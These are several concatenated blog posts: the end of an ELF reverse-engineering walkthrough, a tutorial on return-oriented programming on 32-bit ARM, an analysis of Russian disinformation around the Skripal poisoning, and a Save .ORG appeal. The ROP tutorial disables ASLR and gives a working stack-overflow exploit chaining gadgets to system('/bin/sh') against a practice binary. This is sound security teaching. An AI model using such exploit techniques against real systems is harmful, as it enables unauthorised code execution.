0x200916]** +0x6ca: hlt +... snip ... +``` + +The line in bold is fairly interesting to us. The address at +`[rip + 0x200916]` is equivalent to `[0x6ca + 0x200916]`, which in turn +evaluates to `0x200fe0`. The first `call` being made to a function at +`0x200fe0`? What could this function be? + +For this, we will have to look at **relocations**. Quoting +[linuxbase.org](http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html) +\> Relocation is the process of connecting symbolic references with +symbolic definitions. For example, when a program calls a function, the +associated call instruction must transfer control to the proper +destination address at execution. Relocatable files must have +"relocation entries'' which are necessary because they contain +information that describes how to modify their section contents, thus +allowing executable and shared object files to hold the right +information for a process's program image. + +To try and find these relocation entries, we write a third script. + +``` {.python} +# relocations.py + +import sys +from elftools.elf.elffile import ELFFile +from elftools.elf.relocation import RelocationSection + +with open('./chall.elf', 'rb') as f: + e = ELFFile(f) + for section in e.iter_sections(): + if isinstance(section, RelocationSection): + print(f'{section.name}:') + symbol_table = e.get_section(section['sh_link']) + for relocation in section.iter_relocations(): + symbol = symbol_table.get_symbol(relocation['r_info_sym']) + addr = hex(relocation['r_offset']) + print(f'{symbol.name} {addr}') +``` + +Let's run through this code real quick. We first loop through the +sections, and check if it's of the type `RelocationSection`. We then +iterate through the relocations from the symbol table for each section. +Finally, running this gives us + +``` {.console} +› python relocations.py +.rela.dyn: + 0x200d98 + 0x200da0 + 0x201008 +_ITM_deregisterTMCloneTable 0x200fd8 +**__libc_start_main 0x200fe0** +__gmon_start__ 0x200fe8 +_ITM_registerTMCloneTable 0x200ff0 +__cxa_finalize 0x200ff8 +stdin 0x201010 +.rela.plt: +puts 0x200fb0 +printf 0x200fb8 +fgets 0x200fc0 +strcmp 0x200fc8 +malloc 0x200fd0 +``` + +Remember the function call at `0x200fe0` from earlier? Yep, so that was +a call to the well known `__libc_start_main`. Again, according to +[linuxbase.org](http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib---libc-start-main-.html) +\> The `__libc_start_main()` function shall perform any necessary +initialization of the execution environment, call the *main* function +with appropriate arguments, and handle the return from `main()`. If the +`main()` function returns, the return value shall be passed to the +`exit()` function. + +And its definition is like so + +``` {.c} +int __libc_start_main(int *(main) (int, char * *, char * *), +int argc, char * * ubp_av, +void (*init) (void), +void (*fini) (void), +void (*rtld_fini) (void), +void (* stack_end)); +``` + +Looking back at our disassembly + + 0x6a0: xor ebp, ebp + 0x6a2: mov r9, rdx + 0x6a5: pop rsi + 0x6a6: mov rdx, rsp + 0x6a9: and rsp, 0xfffffffffffffff0 + 0x6ad: push rax + 0x6ae: push rsp + 0x6af: lea r8, [rip + 0x23a] + 0x6b6: lea rcx, [rip + 0x1c3] + **0x6bd: lea rdi, [rip + 0xe6]** + 0x6c4: call qword ptr [rip + 0x200916] + 0x6ca: hlt + ... snip ... + +but this time, at the `lea` or Load Effective Address instruction, which +loads some address `[rip + 0xe6]` into the `rdi` register. +`[rip + 0xe6]` evaluates to `0x7aa` which happens to be the address of +our `main()` function! How do I know that? Because +`__libc_start_main()`, after doing whatever it does, eventually jumps to +the function at `rdi`, which is generally the `main()` function. It +looks something like this + +![](https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png) + +To see the disassembly of `main`, seek to `0x7aa` in the output of the +script we'd written earlier (`disas1.py`). + +From what we discovered earlier, each `call` instruction points to some +function which we can see from the relocation entries. So following each +`call` into their relocations gives us this + + printf 0x650 + fgets 0x660 + strcmp 0x670 + malloc 0x680 + +Putting all this together, things start falling into place. Let me +highlight the key sections of the disassembly here. It's pretty +self-explanatory. + + 0x7b2: mov edi, 0xa ; 10 + 0x7b7: call 0x680 ; malloc + +The loop to populate the `*pw` string + + 0x7d0: mov eax, dword ptr [rbp - 0x14] + 0x7d3: cdqe + 0x7d5: lea rdx, [rax - 1] + 0x7d9: mov rax, qword ptr [rbp - 0x10] + 0x7dd: add rax, rdx + 0x7e0: movzx eax, byte ptr [rax] + 0x7e3: lea ecx, [rax + 1] + 0x7e6: mov eax, dword ptr [rbp - 0x14] + 0x7e9: movsxd rdx, eax + 0x7ec: mov rax, qword ptr [rbp - 0x10] + 0x7f0: add rax, rdx + 0x7f3: mov edx, ecx + 0x7f5: mov byte ptr [rax], dl + 0x7f7: add dword ptr [rbp - 0x14], 1 + 0x7fb: cmp dword ptr [rbp - 0x14], 8 + 0x7ff: jle 0x7d0 + +And this looks like our `strcmp()` + + 0x843: mov rdx, qword ptr [rbp - 0x10] ; *in + 0x847: mov rax, qword ptr [rbp - 8] ; *pw + 0x84b: mov rsi, rdx + 0x84e: mov rdi, rax + 0x851: call 0x670 ; strcmp + 0x856: test eax, eax ; is = 0? + 0x858: jne 0x868 ; no? jump to 0x868 + 0x85a: lea rdi, [rip + 0xae] ; "haha yes!" + 0x861: call 0x640 ; puts + 0x866: jmp 0x874 + 0x868: lea rdi, [rip + 0xaa] ; "nah dude" + 0x86f: call 0x640 ; puts + +I'm not sure why it uses `puts` here? I might be missing something; +perhaps `printf` calls `puts`. I could be wrong. I also confirmed with +radare2 that those locations are actually the strings "haha yes!" and +"nah dude". + +**Update**: It's because of compiler optimization. A `printf()` (in this +case) is seen as a bit overkill, and hence gets simplified to a +`puts()`. + +Conclusion +---------- + +Wew, that took quite some time. But we're done. If you're a beginner, +you might find this extremely confusing, or probably didn't even +understand what was going on. And that's okay. Building an intuition for +reading and grokking disassembly comes with practice. I'm no good at it +either. + +All the code used in this post is here: +<https://github.com/icyphox/asdf/tree/master/reversing-elf> + +Ciao for now, and I'll see ya in \#2 of this series---PE binaries. +Whenever that is.
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+--- +date: '2019-06-06' +subtitle: 'Making stack-based exploitation great again!' +template: text.html +title: 'Return Oriented Programming on ARM (32-bit)' +--- + +Before we start *anything*, you're expected to know the basics of ARM +assembly to follow along. I highly recommend +[Azeria's](https://twitter.com/fox0x01) series on [ARM Assembly +Basics](https://azeria-labs.com/writing-arm-assembly-part-1/). Once +you're comfortable with it, proceed with the next bit---environment +setup. + +Setup +----- + +Since we're working with the ARM architecture, there are two options to +go forth with: + +1. Emulate---head over to + [qemu.org/download](https://www.qemu.org/download/) and install + QEMU. And then download and extract the ARMv6 Debian Stretch image + from one of the links [here](https://blahcat.github.io/qemu/). The + scripts found inside should be self-explanatory. +2. Use actual ARM hardware, like an RPi. + +For debugging and disassembling, we'll be using plain old `gdb`, but you +may use `radare2`, IDA or anything else, really. All of which can be +trivially installed. + +And for the sake of simplicity, disable ASLR: + +``` {.shell} +$ echo 0 > /proc/sys/kernel/randomize_va_space +``` + +Finally, the binary we'll be using in this exercise is [Billy +Ellis'](https://twitter.com/bellis1000) +[roplevel2](/static/files/roplevel2.c). + +Compile it: + +``` {.sh} +$ gcc roplevel2.c -o rop2 +``` + +With that out of the way, here's a quick run down of what ROP actually +is. + +A primer on ROP +--------------- + +ROP or Return Oriented Programming is a modern exploitation technique +that's used to bypass protections like the **NX bit** (no-execute bit) +and **code sigining**. In essence, no code in the binary is actually +modified and the entire exploit is crafted out of pre-existing artifacts +within the binary, known as **gadgets**. + +A gadget is essentially a small sequence of code (instructions), ending +with a `ret`, or a return instruction. In our case, since we're dealing +with ARM code, there is no `ret` instruction but rather a `pop {pc}` or +a `bx lr`. These gadgets are *chained* together by jumping (returning) +from one onto the other to form what's called as a **ropchain**. At the +end of a ropchain, there's generally a call to `system()`, to acheive +code execution. + +In practice, the process of executing a ropchain is something like this: + +- confirm the existence of a stack-based buffer overflow +- identify the offset at which the instruction pointer gets + overwritten +- locate the addresses of the gadgets you wish to use +- craft your input keeping in mind the stack's layout, and chain the + addresses of your gadgets + +[LiveOverflow](https://twitter.com/LiveOverflow) has a [beautiful +video](https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s) +where he explains ROP using "weird machines". Check it out, it might be +just what you needed for that "aha!" moment :) + +Still don't get it? Don't fret, we'll look at *actual* exploit code in a +bit and hopefully that should put things into perspective. + +Exploring our binary +-------------------- + +Start by running it, and entering any arbitrary string. On entering a +fairly large string, say, "A" × 20, we see a segmentation fault occur. + +![string and segfault](/static/img/string_segfault.png) + +Now, open it up in `gdb` and look at the functions inside it. + +![gdb functions](/static/img/gdb_functions.png) + +There are three functions that are of importance here, `main`, `winner` +and `gadget`. Disassembling the `main` function: + +![gdb main disassembly](/static/img/gdb_main_disas.png) + +We see a buffer of 16 bytes being created (`sub sp, sp, #16`), and some +calls to `puts()`/`printf()` and `scanf()`. Looks like `winner` and +`gadget` are never actually called. + +Disassembling the `gadget` function: + +![gdb gadget disassembly](/static/img/gdb_gadget_disas.png) + +This is fairly simple, the stack is being initialized by `push`ing +`{r11}`, which is also the frame pointer (`fp`). What's interesting is +the `pop {r0, pc}` instruction in the middle. This is a **gadget**. + +We can use this to control what goes into `r0` and `pc`. Unlike in x86 +where arguments to functions are passed on the stack, in ARM the +registers `r0` to `r3` are used for this. So this gadget effectively +allows us to pass arguments to functions using `r0`, and subsequently +jumping to them by passing its address in `pc`. Neat. + +Moving on to the disassembly of the `winner` function: + +![gdb winner disassembly](/static/img/gdb_disas_winner.png) + +Here, we see a calls to `puts()`, `system()` and finally, `exit()`. So +our end goal here is to, quite obviously, execute code via the +`system()` function. + +Now that we have an overview of what's in the binary, let's formulate a +method of exploitation by messing around with inputs. + +Messing around with inputs :\^) +------------------------------- + +Back to `gdb`, hit `r` to run and pass in a patterned input, like in the +screenshot. + +![gdb info reg post segfault](/static/img/gdb_info_reg_segfault.png) + +We hit a segfault because of invalid memory at address `0x46464646`. +Notice the `pc` has been overwritten with our input. So we smashed the +stack alright, but more importantly, it's at the letter 'F'. + +Since we know the offset at which the `pc` gets overwritten, we can now +control program execution flow. Let's try jumping to the `winner` +function. + +Disassemble `winner` again using `disas winner` and note down the offset +of the second instruction---`add r11, sp, #4`. For this, we'll use +Python to print our input string replacing `FFFF` with the address of +`winner`. Note the endianness. + +``` {.shell} +$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2 +``` + +![jump to winner](/static/img/python_winner_jump.png) + +The reason we don't jump to the first instruction is because we want to +control the stack ourselves. If we allow `push {rll, lr}` (first +instruction) to occur, the program will `pop` those out after `winner` +is done executing and we will no longer control where it jumps to. + +So that didn't do much, just prints out a string "Nothing much here...". +But it *does* however, contain `system()`. Which somehow needs to be +populated with an argument to do what we want (run a command, execute a +shell, etc.). + +To do that, we'll follow a multi-step process: + +1. Jump to the address of `gadget`, again the 2nd instruction. This + will `pop` `r0` and `pc`. +2. Push our command to be executed, say "`/bin/sh`" onto the stack. + This will go into `r0`. +3. Then, push the address of `system()`. And this will go into `pc`. + +The pseudo-code is something like this: + + string = AAAABBBBCCCCDDDDEEEE + gadget = # addr of gadget + binsh = # addr of /bin/sh + system = # addr of system() + + print(string + gadget + binsh + system) + +Clean and mean. + +The exploit +----------- + +To write the exploit, we'll use Python and the absolute godsend of a +library---`struct`. It allows us to pack the bytes of addresses to the +endianness of our choice. It probably does a lot more, but who cares. + +Let's start by fetching the address of `/bin/sh`. In `gdb`, set a +breakpoint at `main`, hit `r` to run, and search the entire address +space for the string "`/bin/sh`": + + (gdb) find &system, +9999999, "/bin/sh" + +![gdb finding /bin/sh](/static/img/gdb_find_binsh.png) + +One hit at `0xb6f85588`. The addresses of `gadget` and `system()` can be +found from the disassmblies from earlier. Here's the final exploit code: + +``` {.python} +import struct + +binsh = struct.pack("I", 0xb6f85588) +string = "AAAABBBBCCCCDDDDEEEE" +gadget = struct.pack("I", 0x00010550) +system = struct.pack("I", 0x00010538) + +print(string + gadget + binsh + system) +``` + +Honestly, not too far off from our pseudo-code :) + +Let's see it in action: + +![the shell!](/static/img/the_shell.png) + +Notice that it doesn't work the first time, and this is because +`/bin/sh` terminates when the pipe closes, since there's no input coming +in from STDIN. To get around this, we use `cat(1)` which allows us to +relay input through it to the shell. Nifty trick. + +Conclusion +---------- + +This was a fairly basic challenge, with everything laid out +conveniently. Actual ropchaining is a little more involved, with a lot +more gadgets to be chained to acheive code execution. + +Hopefully, I'll get around to writing about heap exploitation on ARM +too. That's all for now.
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+This entire sequence of events begins with the attempted poisoning of +Sergei Skripal[^1], an ex-GRU officer who was a double-agent for the +UK's intelligence services. This hit attempt happened on the 4th of +March, 2018. 8 days later, then-Prime Minister Theresa May formally +accused Russia for the attack. + +The toxin used in the poisoning was a nerve agent called *Novichok*. In +addition to the British military-research facility at Porton Down, a +small number of labs around the world were tasked with confirming Porton +Down's conclusions on the toxin that was used, by the OPCW (Organisation +for the Prohibition of Chemical Weapons). + +With the background on the matter out of the way, here are the different +instances of well timed disinformation pushed out by Moscow. + +The Russian offense +------------------- + +### April 14, 2018 + +- RT published an article claiming that Spiez had identified a + different toxin---BZ, and not Novichok. +- This was an attempt to shift the blame from Russia (origin of + Novichok), to NATO countries, where it was apparently in use. +- Most viral piece on the matter in all of 2018. + +Although technically correct, this isn't the entire truth. As part of +protocol, the OPCW added a new substance to the sample as a test. If any +of the labs failed to identify this substance, their findings were +deemed untrustworthy. This toxin was a derivative of BZ. + +Here are a few interesting things to note: + +1. The entire process starting with the OPCW and the labs is + top-secret. How did Russia even know Speiz was one of the labs? +2. On April 11th, the OPCW mentioned BZ in a report confirming Porton + Down's findings. Note that Russia is a part of OPCW, and are fully + aware of the quality control measures in place. Surely they knew + about the reason for BZ's use? + +Regardless, the Russian version of the story spread fast. They cashed in +on two major factors to plant this disinfo: + +1. "NATO bad" : Overused, but surprisingly works. People love a story + that goes full 180°. +2. Spiez can't defend itself: At the risk of revealing that it was one + of the facilities testing the toxin, Spiez was only able to "not + comment". + +### April 3, 2018 + +- The Independent publishes a story based on an interview with the + chief executive of Porton Down, Gary Aitkenhead. +- Aitkenhead says they've identified Novichok but "have not identified + the precise source". +- Days earlier, Boris Johnson (then-Foreign Secretary) claimed that + Porton Down confirmed the origin of the toxin to be Russia. +- This discrepancy was immediately promoted by Moscow, and its network + all over. + +This one is especially interesting because of how *simple* it is to +exploit a small contradiction, that could've been an honest mistake. +This episode is also interesting because the British actually attempted +damage control this time. Porton Down tried to clarify Aitkenhead's +statement via a tweet[^2]: + +> Our experts have precisely identified the nerve agent as a Novichok. +> It is not, and has never been, our responsibility to confirm the +> source of the agent @skynews @UKmoments + +Quoting the [Defense +One](https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/) +article on the matter: + +> The episode is seen by those inside Britain's security communications +> team as the most serious misstep of the crisis, which for a period +> caused real concern. U.K. officials told me that, in hindsight, +> Aikenhead could never have blamed Russia directly, because that was +> not his job---all he was qualified to do was identify the chemical. +> Johnson, in going too far, was more damaging. Two years on, he is now +> prime minister. + +### May 2018 + +- OPCW facilities receive an email from Spiez inviting them to a + conference. +- The conference itself is real, and has been organized before. +- The email however, was not---attached was a Word document containing + malware. +- Also seen were inconsistencies in the email formatting, from what + was normal. + +This spearphishing campaign was never offically attributed to Moscow, +but there are a lot of tells here that point to it being the work of a +state actor: + +1. Attack targetting a specific group of individuals. +2. Relatively high level of sophistication---email formatting, + malicious Word doc, etc. + +However, the British NCSC have deemed with "high confidence" that the +attack was perpetrated by GRU. In the UK intelligence parlance, "highly +likely" / "high confidence" usually means "definitely". + +Britain's defense +----------------- + +### September 5, 2018 + +The UK took a lot of hits in 2018, but they eventually came back: + +- Metropolitan Police has a meeting with the press, releasing their + findings. +- CCTV footage showing the two Russian hitmen was released. +- Traces of Novichok identified in their hotel room. + +This sudden news explosion from Britan's side completely bulldozed the +information space pertaining to the entire event. According to Defense +One: + +> Only two of the 10 most viral stories in the weeks following the +> announcement were sympathetic to Russia, according to NewsWhip. +> Finally, officials recalled, it felt as though the U.K. was the +> aggressor. "This was all kept secret to put the Russians on the hop," +> one told me. "Their response was all over the place from this point. +> It was the turning point." + +Earlier in April, 4 GRU agents were arrested in the Netherlands, who +were there to execute a cyber operation against the OPCW (located in The +Hague), via their WiFi networks. They were arrested by Dutch security, +and later identifed as belonging to Unit 26165. They also seized a bunch +of equipment from the room and their car. + +> The abandoned equipment revealed that the GRU unit involved had sent +> officers around the world to conduct similar cyberattacks. They had +> been in Malaysia trying to steal information about the investigation +> into the downed Malaysia Airlines Flight 17, and at a hotel in +> Lausanne, Switzerland, where a World Anti-Doping Agency (WADA) +> conference was taking place as Russia faced sanctions from the +> International Olympic Committee. Britain has said that the same GRU +> unit attempted to compromise Foreign Office and Porton Down computer +> systems after the Skripal poisoning. + +### October 4, 2018 + +UK made the arrests public, published a list of infractions commited by +Russia, along with the specific GRU unit that was caught. + +During this period, just one of the top 25 viral stories was from a +pro-Russian outlet, RT---that too a fairly straightforward piece. + +Wrapping up +----------- + +As with conventional warfare, it's hard to determine who won. Britain +may have had the last blow, but Moscow---yet again---depicted their +finesse in information warfare. Their ability to seize unexpected +openings, gather intel to facilitate their disinformation campaigns, and +their cyber capabilities makes them a formidable threat. + +2020 will be fun, to say the least. + +[^1]: https://en.wikipedia.org/wiki/Sergei\_Skripal + +[^2]: https://twitter.com/dstlmod/status/981220158680260613
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+--- +date: '2019-11-23' +subtitle: 'PIR is getting sold to a private firm, and here''s why it''s + bad' +title: 'Save .ORG!' +--- + +The .ORG top-level domain introduced in 1985, has been operated by the +[Public Interest +Registry](https://en.wikipedia.org/wiki/Public_Interest_Registry) since +2003. The .ORG TLD is used primarily by communities, free and open +source projects, and other non-profit organizations---although the use +of the TLD isn't restricted to non-profits. + +The Internet Society or ISOC, the group that created the PIR, has +decided to sell the registry over to a private equity firm---Ethos +Capital. + +What's the problem? +------------------- + +There are around 10 million .ORG TLDs registered, and a good portion of +them are non-profits and non-governmental organizations. As the name +suggests, they don't earn any profits and all their operations rely on a +thin inflow of donations. A private firm having control of the .ORG +domain gives them the power to make decisions that would be unfavourable +to the .ORG community: + +- They control the registration/renewal fees of the TLD. They can hike + the price if they wish to. As is stands, NGOs already earn very + little---a .ORG price hike would put them in a very icky situation. + +- They can introduce [Rights Protection + Mechanisms](https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en) + or RPMs, which are essentially legal statements that can---if not + correctly developed---jeopardize / censor completely legal + non-profit activities. + +- Lastly, they can suspend domains at the whim of state actors. It + isn't news that nation states go after NGOs, targetting them with + allegations of illegal activity. The registry being a private firm + only simplifies the process. + +Sure, these are just "what ifs" and speculations, but the risk is real. +Such power can be abused and this would be severly detrimental to NGOs +globally. + +How can I help? +--------------- + +We need to get the ISOC to **stop the sale**. Head over to +https://savedotorg.org and sign their letter. An email is sent on your +behalf to: + +- Andrew Sullivan, CEO, ISOC +- Jon Nevett, CEO, PIR +- Maarten Botterman, Board Chair, ICANN +- Göran Marby, CEO, ICANN + +Closing thoughts +---------------- + +The Internet that we all love and care for is slowly being subsumed by +megacorps and private firms, who's only motive is to make a profit. The +Internet was meant to be free, and we'd better act now if we want that +freedom. The future looks bleak---I hope we aren't too late.